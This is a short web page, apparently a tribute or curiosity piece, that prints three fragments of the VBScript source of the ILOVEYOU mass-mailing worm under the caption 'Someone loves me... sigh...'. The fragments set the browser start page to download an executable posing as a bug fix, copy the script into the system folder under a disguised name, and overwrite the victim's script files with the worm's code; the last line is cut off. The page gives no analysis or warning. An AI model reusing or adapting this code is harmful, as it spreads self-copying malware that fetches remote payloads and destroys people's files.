|
|
 | |  |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" | |
 | |  |
|
 |
|
|
|
|
 | |  |
| Set dirwin = fso.GetSpecialFolder(0); Set dirsystem = fso.GetSpecialFolder(1); Set dirtemp = fso.GetSpecialFolder(2); Set c = fso.GetFile(WScript.ScriptFullName); c.Copy(dirsystem&"\MSKernel32.vbs") | |
 | |  |
|
 |
|
|
|
|
 | |  |
| if (ext = "vbs") or (ext = "vbe") then set ap = fso.OpenTextFile(f1.path,2,true) ap.write vbscopy elseif(ext = "js") or (ext = "jse") or (ext = "css") or (ext = "wsh") set ap = fso.OpenTextFile(f1.pat | |
 | |  |
|
 |
 | |  |
| Someone loves me... sigh... | |
 | |  |
|
|
|